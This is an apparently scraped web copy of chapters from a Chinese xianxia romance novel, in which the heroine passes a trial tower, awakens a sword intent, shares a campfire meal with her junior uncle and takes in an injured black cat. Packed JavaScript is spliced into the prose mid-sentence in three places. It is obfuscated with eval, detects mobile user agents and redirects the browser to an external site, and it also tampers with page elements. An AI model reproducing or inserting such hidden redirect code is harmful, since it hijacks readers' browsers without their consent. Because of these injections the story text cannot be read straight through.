殷稚鱼忽然猜到了这是什么场景。 这是原著里,她的死亡时间点。 浑身的力气都被抽走,她仰面跌进潮湿未腥的层叠落叶里,沙沙的脚步声渐行渐远,对方并没有半分留恋,浅色眸子情绪空洞,恍若皮影戏里被操纵的木偶一般僵硬,淡漠走远。 殷稚鱼嗅到了叶片腐烂的味道,还有雨水清新又淋漓的气息,擦过她的长发,弥漫在女孩鼻端。 她睫毛垂落,费力地去摸自己的心口。 问心塔确实很厉害。 这确实是她没有诉之于口,却深藏于骨血之中的隐忧。 按照剧情发展,辰瑄会失手错杀了她。 她会死在辰瑄手上。 殷稚鱼呼吸很轻,灵气流失,她的身体像是破漏的蓄水池一样,被婆诃般若汲取的灵气根本留存不住,眼睁睁走向死亡的感觉并不好受,她的脑海里掠过很多画面,是她的前世,父母漠然的模样,以及今世出生之际,卫王笨拙而又轻柔地抱着她的襁褓,哼着卫地流行的歌谣,而刚刚诞下双子的梅夫人脸色苍白的倚着床头,望着夫君与女儿的目光却宁静温柔。 还有她小时候,和妹妹一起去扑蝶的记忆,鹅黄的菜粉蝶摇摇晃晃,从她们掌心振翅飞过,竹蜻蜓擦过卫宫的琉璃瓦,几个月前辰瑄向她伸手,容华绝丽的美人垂首收剑入鞘,日光漫过他的发尾,铺开一卷浅金的流丽瑰艳,如同沙海流金,盛丽璀璨得难以形容。 殷稚鱼用力地咳嗽,唇畔溢出血迹。 死亡的感觉太过于真实,让她难以辨认真假,甚至生出了几分恍惚之感。 这是现实,还是问心塔捏造出来的幻境? 她的意识一点点沉入无光的深海,脑子越来越沉重,许多的记忆走马观花一般闪过,先是问她要不要拜师入门的清玄道人,亦或者是她第一次出手杀死的妖魔,蜘蛛精黏腻腥臭的血液喷溅在她的胸口,女孩不闪不避,身体因为过度的使用婆诃般若而膨胀得快要爆炸,那时候她看上去分外镇定,实则人已经麻木了。 她没有杀过人,第一次见血,即便对方非人,而是喜食人,作恶多端的蜘蛛精,可她依旧竭力控制着发抖的肢体,不让自己泄露一丝软弱,她咽下所有的恐惧,眼珠一动不动,瞪得大大的,秋水刺入蜘蛛精的身体的触感恶心得她反胃,想要呕吐,可她依然没有放手。 她怕得要命。 可她要活下去。 殷稚鱼疲惫地闭上眼。 可是好累啊。 但她明明答应……答应过谁呢? 似乎有湉湉的水声擦过耳畔,缠绵着暗流湍急冲撞着溪流巨石的声响,她又累又困,意识陷入黏腻的梦魇中,听见一点哭声,很低,很轻,呜咽啜泣着,有泪水落进她的衣领里,比体温更滚烫,然后消失不见。 她痛得要命,然而那些疼痛却像是日光下的雪一样融化得无影无踪,殷稚鱼像是浸泡于温水之中,那些温热的水流修补着她残破的身体,而与她双生的妹妹抱着她的身体,咬着唇流泪,玻璃珠般的眼睛被泪水洗过,更显出一种澈丽的悲哀与痛楚。 “姐姐,”轻的像是呓语的话,一字一顿地落入她的耳畔,“你要活下去。” 殷稚鱼豁然睁开眼。 心口被贯穿的大洞,以及淅沥连绵的细雨,都如同轻烟一般消失。 殷稚鱼捋了一把湿漉漉的长发,仿佛从无边无际的沙砾中捞出一颗遗失的珍珠,神色有些恍惚,她慢吞吞地爬起来,想起许久之前,她答应过一个人的,要活下去。 要活下去啊。 原著的剧情也只是没有发生过的剧情啊。 她绝不会,绝不会重蹈覆辙。 心念定下,四周的场景开始急速晃动,她体内的婆诃般若也开始摇晃,额间被海沧珠隐下的绯红印记一闪一闪,挣扎着要长出第三瓣,却还是无果,似流萤般捉摸不定,最后还是只有两瓣。 但是殷稚鱼能够感应得到,距离婆诃般若的第三瓣生长而出已经不远了。 或许就在她真正凝聚出剑意的那一刻。 殷稚鱼摸了摸额头,周遭光影闪动,她破了问心塔第六层,还剩下最后一层,她就能见到隐藏在问心塔第七层的,属于千年前的剑主云璃留下的一缕剑意。 那样的大能,即便只是一缕封存千年,可能被磨损不少的剑意,也能让她这样的小趴菜收益良多。 殷稚鱼将第六层的片段抛之脑后,只是心里还有些沉重,她抿了抿唇,又晃了晃脑袋,还是将那些没厘头的念头晃出去。 轰隆—— 第七层考验出现的时候,殷稚鱼吓了一跳,她差点以为世界末日了,或者是那位勇士,把乾虚派给炸了。 她发现自己出现在一座陌生的城池里,而城池里早已沦为断壁残垣,偶尔会看见面生紫色纹路的魔族与手持长剑的修道者站在一起,她尝试出手,却帮不了他们。 她的指尖穿过他们的身体,恍若空气一般,仿佛她并不存在于这个时空。 殷稚鱼慢悠悠地往前走,看见了一个熟人。 姜雲,她的小师姐跌坐在地上,被砍下一条手臂,喘息急促,她似乎没有力气了,整个人委顿在巷道之中,而不远处是傅凛,他的情况比姜雲更惨,进气少出气多,似乎下一瞬就要嗝屁了一样。 太惨烈了,像是战场一样。 殷稚鱼听见姜雲嘶哑喊道,“殿下,小心。” 她慢慢抬头。 空中有人凌空而立。 宽大的衣袍随风而动,他摩挲着修长的骨节,殷红的唇角含着浅淡的笑意,嗓音遥遥地响起。 “凭你,也想要杀我吗?” 他挑起眉,面容模糊不清。 而和他相视而立的是个极年轻的少年人,发冠滚落在地,他没时间去注意,稠墨般的黑发泄了满身,即便狼狈不堪,依然显出一种洁净清澈感来,同样的面容模糊,嗓音却低而悦耳,空灵神性。 “总要试试的。” 殷稚鱼静静看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魔神咳出血迹,捂住胸口轻笑,他就算陨落,也绝对要拉着对手一起,而神瑄也不可能目睹上古魔神自爆浓烈的魔气污染九州五岛,他在原地顿了片刻,化作原型,那是一株淡青色的莲花,混沌青莲,上古神族血脉,是最纯粹也最古老的神族血脉,可以净化世间一切不洁。 只是神瑄现在也是穷途末路了,若是勉强吞噬了魔神释放出的魔气的话,那么两人只会落得一个一同奔赴幽冥的下场。 殷稚鱼静静看着。 “够了。”她忽然说。 本来想要自爆的少年身影诡异顿住。 殷稚鱼握着手上的秋水,字正腔圆,每一个字都咬得极为清楚,“这不会是现实。” 她缓步走上前,伸手去触碰神瑄。 她没有见过真正的神瑄,而问心塔根据她的记忆和恐惧所幻化出来的神瑄容貌模糊,恍惚间容色与辰瑄一般无二。 长发,雪衫。 美到惊心动魄。 她眸尾浅浅弯起,攒出一点笑。 “这绝不会是现实。” 她重复。 这就是她的剑意。 一往无前,永不退缩胆怯的剑意。 未来可能很糟糕,可她绝不会惧怕。 她跋涉行走过万丈软红尘,所以她的剑意是自人间磨砺而出的,梅夫人,卫王,清玄道人,殷稚竹,还有辰瑄。 她捧着神瑄的脸,闭上眼。 锋利的剑意在她周身凝聚,恍惚间与另一种剑意同鸣共震,她的衣袖袍角都要鼓胀而起,盈满欲要刺破天穹的恐怖剑意。 殷稚鱼眼前似乎出现了另一道纤细的女子身影,对方冲她缓缓一笑,举手投足间沉淀着大能修道千年的无形剑气,然后渐渐淡去。 初因避地去人间,及至成仙遂不还。* 而她修出的第一层剑意,唤作浮尘。 红尘万丈,即一寸人间。 33. 共鸣 乾虚派,剑冢之中。 剑冢是乾虚派每个弟子最向往的地方,据说那里沉睡着数以千万的灵剑,其中不乏在九州五岛的历史上留下浓墨重彩一笔的剑修佩剑,当他们陨落之后,佩剑会被搜罗回归剑冢,直到被新的主人唤醒。 然而剑冢却并非宗门其他弟子想象的那般肃冷,并非是埋葬了无数灵剑的地宫墓碑,而是一座独立于内门与外门的山峰,披着一层森绿的表皮,生机盎然而又蓬勃,鸟雀啁啾,草木扶疏,看上去全然无害,然而踏足其中才知,这里每一寸空间都弥漫着无处不在的锋利剑气,只有凝丹期的修为,才能保证自己在其中安然无恙。 除却每年一次的剑冢开放之日,这里向来平静。 今日却不同。 咚—— 仿佛心脏雀跃跳跃,剑冢的异常顿时引起了乾虚派长老的注意,他们将神识投向剑冢,发现许多沉睡于剑冢之中一动不动的灵剑都开始震动,甚至想要脱离藏身之地,有长老捋了一下长须,了然道,“看来不知道是宗门里的哪位弟子,顿悟的时候引起了灵剑共鸣。” 这样的事情乾虚派并非没有先例,大部分与灵剑共鸣的弟子都没有凝丹期,但是他们顿悟的剑意却唤醒了沉睡的灵剑,这样的人绝对是万里挑一的天骄,非常罕见,最近的一例应该说是降娄峰凌霄道尊收的小弟子辰瑄,据说他十岁那年引起剑冢万剑齐鸣,引起了整个宗门的注意。 可惜他那时候的年纪太小,还未突破至凝丹期,没办法进入剑冢挑选合适的灵剑,只能暂时搁浅,但纵使如此,长老们对他也极为看好,并且好奇辰瑄会挑选一把什么样的灵剑,没想到少年出门历练一趟,直接拐回了神剑千秋,将其作为本命剑,并没有入剑冢。 长老感慨了一番就准备收回神识,然而他刚刚转头动作就豁然顿住,一眨不眨地盯着剑冢。 剑冢最深处,一处少有人至的深潭水面荡开圈圈涟漪,嗡地一声,一把古朴典雅的长剑破开潭面,立在半空中,它看上去极其内敛古老,长三尺六寸,剑身典雅精致,刻有山川草木与日月星河,泛着淡淡的藏青色。 整个剑冢一瞬间安静了下来。 所有的动静都被它强力镇压,然而长剑却没有立刻回去,它静默地在半空中待了半晌,剑柄微移,似乎想要飞走,却又缓了下来,再次沉入潭水之中。 在它沉入水面之后,它身后浮现的,壮丽而又浩瀚的日月星辰一并消失。 这样的异象,自然引起了乾虚派所有长老的注意,就连掌门也抬眸看向剑冢,叹息道,“山河竟然有反应了,是谁唤醒了它?” 千年前名动九州五岛的神剑山河,它的主人是曾与紫薇帝君一起斩杀上古魔神而陨落的剑主云璃,云璃曾是除紫薇帝君和魔神之外的第三人,修为高深莫测,据说已至生死境,她陨落之后,留下无数传说,而最被修道者关注的,就是她留在乾虚派剑冢的山河剑。 它是所有剑修梦寐以求的本命剑,吸引了无数剑修加入乾虚派,就为了得到一个能够接近唤醒山河的机会,可惜千年来剑修换了一茬又一茬,山河却始终没有动静,再未择过主。 乾虚派剑主之位空悬至今,山河剑不认主,剑主之位就无人能坐,因此如今乾虚派修为最高之人为掌门,他的神识寸寸扫过乾虚派外门与内门,片刻后恍然。 其他长老给他传讯,“掌门,你查清楚了是谁与山河剑产生共鸣了吗?” 掌门欣慰笑笑,“是清玄收下的小弟子。” 耳畔安静了一瞬,长老开始疯狂向清玄发送传讯。 坐在玄枵峰等着殷稚鱼出塔的清玄道人:? 他二丈和尚摸不着头脑,选了个和自己关系最好的长老,随机提问,“发生什么了?” “清玄你的运气不错啊,”长老没有隐瞒,如实相告,语气尽是欣慰,山河剑如果能够认主的话,对乾虚派无疑是好事一桩,“你新收的那个小弟子,与山河剑产生了共鸣。” 虽然殷稚鱼修为不够,没办法掌握山河剑,但是她既然与其产生了共鸣,那么至少有了机会,说不定乾虚派能够再出一位剑主。 清玄道人闻言怔了下,下意识去看问心塔,思绪万千,其他人不知晓,但他可是清楚的,殷稚鱼没有灵根,无法修行,也就是说若她能够成为山河剑主,最多也只能护乾虚派十几年,甚至可能等不到长成就会夭折。 她的剑道天赋越好,清玄就越惋惜。 “无碍,”掌门的声音在他耳畔沉静响起,殷稚鱼的情况,她入门之前清玄道人就已经向掌门报备过了,“婆诃般若是传说中的神物,这个小姑娘既然有这般机遇,说不定她的灵根问题也有办法解决,清玄不必过于担忧。” 清玄将心里的忧虑压下去,“掌门说得对。” 殷稚鱼仍然在问心塔之中,没有察觉到外界的各种动静。 七层问心塔考验被她一一破除,所有的幻境烟消云散,恢复了问心塔原本的模样,那是一间广阔简洁的空间,悬着无数铜铃,而中间的香案则摆放着一座女子木雕,她握着剑,意气风发,神采飞扬。 殷稚鱼艰难抬头。 幻境既是考验,也是保护,消散之后,殷稚鱼就需要直面云璃留下的那一缕剑气,属于千年前剑道第一人的剑气经过数千年仍未彻底消散,虽然被磨损了些许,但依旧不是她这种的菜鸡能够承受的。 她额头冒出细密的汗水,每一步都走得艰难无比,摇摇晃晃,新生的剑意护在她身边,被云璃的剑意冲击得不断萎靡,女孩睫毛轻微抖了下,虽然困难,但依然一寸寸抬起下巴,去看云璃的木雕。 她与女子含笑的眼眸对上。 云璃的形象与殷稚鱼的想象有点出入,在女孩的想象中,能够成为剑道第一人,并且为大义献身的剑主应该是清冷英勇的,但是女子却生了一张很是秀丽的脸庞,脸腮微圆,线条柔和漂亮,眸尾盈盈下垂,似含着潋滟春水。 可是当她握着剑,站在那里的时候,没有人会怀疑她的身份。 ——剑道第一,似乎理所应当就是这样秀美温软的模样。 殷稚鱼指尖轻微一动。 浓烈的剑意在她身边一寸寸收束,越来越激烈,空气中起了风,两股剑意互相对峙,挤压着她的血肉,她感觉到自己似乎又要突破了。 她之前,在问心塔突破至了辟府期,而现在,修为更上一层,应该是辟府后期。 磅礴的灵气冲刷着她的身体, 被体内的婆诃般若皆数吸收,海沧珠的掩饰失去作用,好在这里是问心塔,只有她一人,也不会被其他人看到。 朱红灿然的花朵,在女孩的肌肤间抽出第三瓣,瑰丽好似扶桑,又似胭脂眉石轻巧画上的艳美花钿。 她走到香案前,拿起旁边放着的线香,从善如流地点燃,然而插在香炉前。 “乾虚派弟子殷稚鱼,见过云璃前辈。” 第七层的剑意忽然消失,荡然一空,殷稚鱼还来不及反应,就被踢出了问心塔。 她在地面上站稳,发现清玄道人落在她身上的目光有些古怪,纳闷地询问,“师尊,有什么事吗?” “没事,”清玄道人手背抵在唇边,轻咳一声,“就是想问,稚鱼你又突破了吗?” 他不打算告诉殷稚鱼山河剑的事情,一是殷稚鱼现在修为太低,没办法彻底掌握山河剑,现在知道太多于她无益,二是,婆诃般若本来就很惹人眼热了,再加一个山河剑,殷稚鱼现在并没有护着自己的能力,还是少招摇为妙。 殷稚鱼颔首,“是啊。” 她兴冲冲地说,“我辟府后期了。” 清玄道人沉默了。 虽然婆诃般若确实是天下一等一的神物,但是这功效也太惊人了吧,殷稚鱼修行不过几月时间,修为就晋升至辟府期,距离凝丹也有一步之遥,她升级根本不讲道理。 清玄道人噎了噎,想了想还是觉得应该给弟子一些鼓励,“不错的修行速度,继续保持。” 殷稚鱼弯眸,“多谢师尊夸奖。” 她没在大殿多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570319|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待,道过谢后就回到居住的小院里,关上门,好好地睡了一觉。 等到睡饱之后已经是中午了,殷稚鱼摸了摸扁扁的肚子,慢悠悠地出去觅食。 姜雲不知道从哪里打听到了她突破的消息,托腮和殷稚鱼感慨,“按照小师妹的修行速度,我总感觉再过不久你的修为就要超越我了,到时候我就成了玄枵峰垫底的存在了。” 殷稚鱼腮帮子塞得鼓鼓的,她咽下嘴里的食物,“不一定,小师姐天赋这样好,我可不一定能追上。” 姜雲戳了下殷稚鱼的脸,失笑,“你倒是会安慰我。” 她一向看得开,对于实力高低并不在意,很快就转移了注意力,托着脸长长地叹了口气,“小师妹,你说,大师兄怎么这么迟钝啊。” 看来姜雲在追人的道路上又吃了瘪,殷稚鱼不予评价,傅凛在做师兄上无可挑剔,十分周全,至于其他方面,完全是根千年的木头,再长下去也是硬邦邦的不解风情。 殷稚鱼吃饱了,拍了拍手,问,“小师姐,你知道小师叔在哪里吗?” “小师叔好像离宗去做任务了,”姜雲诚实地交代,至于更详细的她就不了解了,“不过算算时间,这两天也该回来了。” 殷稚鱼舒展了一下身体,认真地说,“那我就去他的洞府前等人吧。” “可以啊,”姜雲促狭笑笑,“追人的话,就要让对方看到你的诚意,不过小师妹,你那天到底对小师叔做了什么?我感觉他当时的情绪好像有点不对劲。” 姜雲曾经出于吃瓜的心情,偷偷跑去观察殷稚鱼和辰瑄的进度,没想到两人进了桃林之后一前一后的出来,向来脾性好,鲜少生气的辰瑄沉着一张脸,抿唇心情不太愉悦的模样,姜雲躲在暗处,对于能够把辰瑄逼成这样的殷稚鱼肃然起敬。 殷稚鱼咳了声,“秘密,不能说。” 怕姜雲继续追问,她急匆匆地跑出去,“师姐,我先去等人了。” 降娄峰只有正在闭关的凌霄道尊和辰瑄居住,而辰瑄确实如姜雲所说的那般出了门,殷稚鱼顺利地摸到辰瑄的洞府面前,他的洞府设了禁制,因此殷稚鱼进不去,只能老老实实地站在门前等。 降娄峰太安静了,殷稚鱼思索了一下,轻巧跳上了辰瑄洞府不远处的那片梨林。 名为碎雪的梨花一年四季常开不败,一片繁盛,清雅似雪,殷稚鱼枕着胳膊,为自己的敬业抹了一把泪。 辰瑄不在,她就只能和系统聊天。 殷稚鱼:“像我这样爱岗敬业的宿主现在不多了。” 系统:“……” 系统的声音十分平静,细听还有种淡淡的死感,“像宿主脸皮这么厚的任务者确实少有。” 殷稚鱼:“……”这是诽谤,她要投诉。 女孩丧气地躺在枝桠之上,将浅绯色的衣裙和黑发一起藏进雪团团的梨花里,慢吞吞地打了个哈欠。 糟糕,躺久了还有点舒服,她有点困。 殷稚鱼揉了揉眼睛,只觉得眼皮越来越沉重,最后她告诉自己,自己只是休息一会,在辰瑄回来之前就会醒。 想到这里,女孩心安理得地入睡。 夕醺,日落熔金。 修长漂亮的人影踏进降娄峰,雪衫,墨发间系着白色发带,更显容色清澈干净。 降娄峰十分寂静,连鸟雀声都少有,而辰瑄已然习惯了这样的安静,他的师尊将他捡回乾虚派后就一直在闭关,辰瑄是被几个师兄轮流抚养长大的,稍大一点后,小少年就不再在其他峰头居住,而是回到降娄峰。 宗门任务顺利完成,他将千秋放回到剑鞘,有些疲惫,脸上的表情不是惯常面对其他人的温和,而是淡漠,毫无情绪。 哗啦—— 雪白的梨花被摇得簌簌作响,辰瑄戒备抽出长剑,淡声问,嗓音悦耳,“谁?” 梨花中露出一角绯红的衣衫,纤细的腰带随之垂落,紧接着是黑眸白肤的娇俏少女,她拨开梨花枝桠,露出一个灿烂的笑,“小师叔,好久不见。” 34. 黑猫 握着千秋的手顿住,辰瑄收剑入鞘,嗓音流露出一点低低的疑惑,“殷师侄,你怎么会在这里?” 殷稚鱼眨了眨眼,“我来找你啊。” 她小声说,“小师叔,我在这里等了你一下午,腿都蹲麻了,你能接住我吗?” 殷稚鱼算盘打得噼里啪啦的响,经过几次的剑气淬炼反馈己身之后,她的身体素质大大提高,再也不是那个躲个老鼠精都瑟瑟发抖的菜鸡了,但是她估计辰瑄可能不知道这件事,借此占点便宜也好,说不定能推推攻略进度呢。 可惜系统说没办法判定攻略数值这种东西,说是人的情感不好量化,所以只能靠她自己努力。 殷稚鱼只好自己努力上了。 辰瑄并不吃她这一套,凉声说,“自己下来。” 殷稚鱼咕哝了句,“小师叔好无情啊。” 她轻盈地自梨花树上跃下,稳稳地落地,完全没有一点腿麻不能跳的趋势,少女挥了挥手,变戏法一般擦过腰间的芥子袋,她捧着一大束的雪白莲花,弯下眉眼,“这是我送给小师叔的礼物。” 这是一种叫做清水莲的莲花,花瓣层叠繁复,雪白细腻,馥郁清甜,在女子之间颇为流行,殷稚鱼在来降娄峰之前去集市给辰瑄挑了礼物,在听店员殷勤介绍的时候,女孩忽然想到在问心塔中看到的淡青莲花,大方地买了一大捧的清水莲。 柔软洁白的莲花远没有她在问心塔中看到的混沌青莲美丽神圣,她只在古书记载中看过廖廖几句关于混沌青莲的记载,那是上古神族遗留的真血,至今为止早已绝迹,她没有见过真正的混沌青莲,只能凭借想象,拙劣地临摹出神的万分之一美丽。 辰瑄微怔。 少女纤细的手指掐着青色莲梗,细小的尖刺早已被拔去,只剩下无害而又柔软的清丽。 他眼睫微颤,原本想要拒绝,但是撞进女孩眼巴巴的目光中还是顿了顿,接过那一捧莲花。 “谢谢殷师侄。” 见他接受了这份礼物,殷稚鱼微微松了一口气,再次开心起来。 少女嗓音轻快明亮,每一句话都说得雀跃,让听的人也被她感染,“我本来觉得清水莲有点寒酸,想要摘点梨花搭配一下的,但怕梨花是凌霄师祖种的,不敢下手。” 毕竟凌霄道尊是当今乾虚派辈分最高之人,他长久闭关,存在感微弱,但不代表他不存在,殷稚鱼思考了一下,感觉自己在他的地盘上捣乱,无异于找死,她攻略还没有完成,现在死了就是白死。 辰瑄:“……这些梨花树都是师尊种下的。” 殷稚鱼瞪大眼睛,惊魂未定,“幸好我没摘。” 她磨磨蹭蹭地去看辰瑄,小声问,“小师叔,你饿吗?” 少年只听语气就听出了殷稚鱼的言下之意,他略微垂首,乌黑发梢轻扫过肩膀,视线盯在殷稚鱼的脸上,女孩和一个人说话的时候格外专注,一眨不眨地望着他,浅黑色的眸子仿佛盛着遥远而又璀璨的星河,连圣人都只需一眼就会溺毙在此。 她的情绪那样鲜明张扬,几乎让被注视之人生出一种被重视珍爱的错觉。 辰瑄弯了弯唇角,向来稳重自持的小师叔忽然生出些许逗弄眼前人的坏心思,从认识到现在,他似乎一直都在被殷稚鱼牵着情绪走,每一次,都落于下风。 “不饿。” “啊……”殷稚鱼摸了摸干瘪的小腹,蔫了。 她本以为辰瑄风尘仆仆地回宗,应该又饿又累,连接下来邀请一起用餐的话语都打好腹稿了,结果现在硬生生地卡在喉咙里,默了默,“累吗?” 辰瑄轻咳一声,“还好。” 殷稚鱼没辙了。 要说的话都被辰瑄提前堵住了,她哽了下,认真地问,“小师叔,你喜欢野外烧烤吗?” 辰瑄只是想要无伤大雅地逗逗人,见好就收,“怎么做?” 半柱香的时间后,殷稚鱼和辰瑄在降娄峰的后山里支起篝火,殷稚鱼利索地扒了野鸡和山兔的皮,她的厨艺欠缺,因此很自觉地将串在干净树枝上的鸡肉和兔肉递给辰瑄。 辰瑄也很少下厨,但他做事比跳脱的殷稚鱼要靠谱,手很稳,落日彻底沉入天边,天光一束束地收敛,只剩下些许幽深的蓝,仿若静谧深海。 烤肉被篝火炙烤得滋滋作响,油脂从烤得焦香的皮肉滴下来,没入柴火之中。 殷稚鱼有点心急,“小师叔,烤肉好了吗?” 辰瑄检查了一下烤肉,小心地用树枝戳了戳烤肉的表面,“还需要等一会。” 他精致漂亮的脸映衬着灼热的火光,光影明灭,勾勒出清美干净的线条,睫毛也显得绒绒,轮廓纤巧。 殷稚鱼咽了咽口水,沉默地捂住心口。 差一点点,她就要被男狐狸精勾引走了心神。 虽然辰瑄不可能是故意的,但是……殷稚鱼支着下巴,慢悠悠地想,男主真的是个好人。 她险些被吸引了。 系统默默给她放了一首大悲咒。 险些以为自己耳聋了的殷稚鱼:“……”什么玩意,系统把她送走也不用那么着急吧。 她沧桑地叹了口气,见辰瑄取出一把匕首,将烤好的肉切好,整整齐齐地摆在瓷盘里,被点缀得分外诱人。 本来想要和系统吵三百回合的殷稚鱼注意力被顺利转移,她抽了抽鼻子,周遭都弥漫着诱人的烤肉香气,本来就饿得头昏眼花的人有些不太清醒,直勾勾地盯着烤肉。 “好了。”辰瑄将烤肉递给她。 殷稚鱼接过,“谢谢小师叔。” 她摸出自己之前为了有备无患准备好的调料,分给辰瑄。 辰瑄的手艺比殷稚鱼好,这顿烤肉吃得女孩分外满足,回到小院的时候还在回味。 兴许是吃撑了,她今晚有些睡不着,在床铺上翻来覆去地打滚,忽然听见一声微弱的叫声。 很轻,不仔细听几乎要忽视。 殷稚鱼慢吞吞地爬起身,顺着声源处找去,找到一只气息奄奄的黑猫。 黑猫受了很重的伤,闭着眼睛一动不动,殷稚鱼能够嗅到它身上浓重的血腥气。 殷稚鱼轻手轻脚,翻开它的身体查看,发现黑猫的前爪血肉模糊,殷红的血渗出来,看上去惨不忍睹。 她发出一声小小的惊呼,倒不是被血吓到,而是觉得对这只猫下手的人也太过心狠手辣了。 秉承着保护动物的打算,殷稚鱼将猫抱进房间里,麻利地给它做伤口处理,之前姜雲豪爽地给她送了不少高阶伤药,现在殷稚鱼自己还没用上,就给猫先用上了。 不过考虑到这是个修仙的世界,殷稚鱼简单地用绷带包扎了一下外伤后,拈着一颗滚圆的药丸犹豫不定,戳了戳系统,“你看下,这是只普通的猫,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604095|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖族?” 她怕自己捡到什么麻烦,万一黑猫是只妖该怎么办? 系统默了。 它沉默的时间有点长,让殷稚鱼有点慌,“系统,你这是什么意思?” “……没什么,这就是只普通的猫,宿主放心就行。” 系统只是没想到,原剧情里的大反派竟然和殷稚鱼有牵扯,书里没写啊,不过它回忆了一下原著里大反派莫名其妙和男主作对的一连串行为后,瞬间恍然。 但是这件事不能告诉殷稚鱼,毕竟殷稚鱼会救一只伤痕累累的可怜小猫,却未必会救一个穷途末路的妖族。 她恐怕会选择直接上报宗门。 在某种程度上,它这位宿主还挺冷漠的。 殷稚鱼没有怀疑什么,哦了一声表示明白,她之前其实给黑猫检查过,没有检查到灵气的痕迹,所以黑猫大概率就是一只普通动物,现在不过是再求个保证而已。 殷稚鱼再问,“这个药它能吃吗?” 黑猫受伤太重了,殷稚鱼怕它挺不过今晚,但是普通的猫又怕承受不了那么强的药力,所以多问了一句。 “可以。”毕竟是妖皇之子,会殺父登上至高之位的未来妖皇,身体好得很呢,不喂药也能活下来,喂药不过是会好的更快一点而已,系统在心里默默补充。 疑虑被消除,殷稚鱼没有再犹豫,捏着黑猫的嘴,将药丸给它喂下去。 黑猫或许是伤得太重,一直沉沉睡着,中途没有再醒过来。 殷稚鱼拖着腮帮子,看着它的气息一点点平稳下来,才松了一口气,外面似乎有悉悉索索的动静响起,很快,殷稚鱼听见小院的院门被叩响,她暂时将黑猫留在房间里,走过去开门。 “怎么了?” 是两个穿着宗门弟子服的同门,客气地询问,“师姐有没有看见什么可疑之人?” “什么?”殷稚鱼问,“是不是一只猫妖?” 她想起自己房间里昏迷不醒的猫,眯了眯眼睛,原本放下去的心再次提了上来。 系统闭麦,提心吊胆地看着事情发展。 同门愣了一下,“是妖,但不是猫妖,宗门的防护阵法被触发了,长老说有妖族潜入宗门,让我们四处搜寻那只妖的踪迹。” 殷稚鱼微笑,侧身让开,“我刚才捡到一只受伤的黑猫,麻烦两位师弟帮我看看,是不是那个闯入宗门为非作歹的歹人?” 系统:“……” 两位弟子还真的听了殷稚鱼的话,殷稚鱼没让他们进房间,而是将那只受伤的黑猫捧出来,让两人查看,可惜他们并没有查出什么,黑猫似乎只是只普通的猫,体内没有丝毫修炼过的痕迹,更没有妖丹。 同门收回手,斟酌着言辞,“这只猫,应该只是只普通的猫。” “那就好。”殷稚鱼想,或许是自己多心了,她抱着猫又回了房间,折腾了一圈,也有些累了,黑猫放在桌上,她拆了一床被褥,给它搭了一个休息的窝,女孩戳了戳猫咪的脑袋,自言自语,“难道真的是我多想了吗?” 她观察了一会猫,或许是被折腾醒了,又或者是伤药起了作用,黑猫掀起眼皮,露出黑曜石般的漆黑眸子,它迷迷糊糊地伸出前爪,殷稚鱼只看见它尾巴一扫,她最喜欢的那个花瓶被轻飘飘地扫落,摔在地上,碎了。 碎了—— 殷稚鱼心也碎了。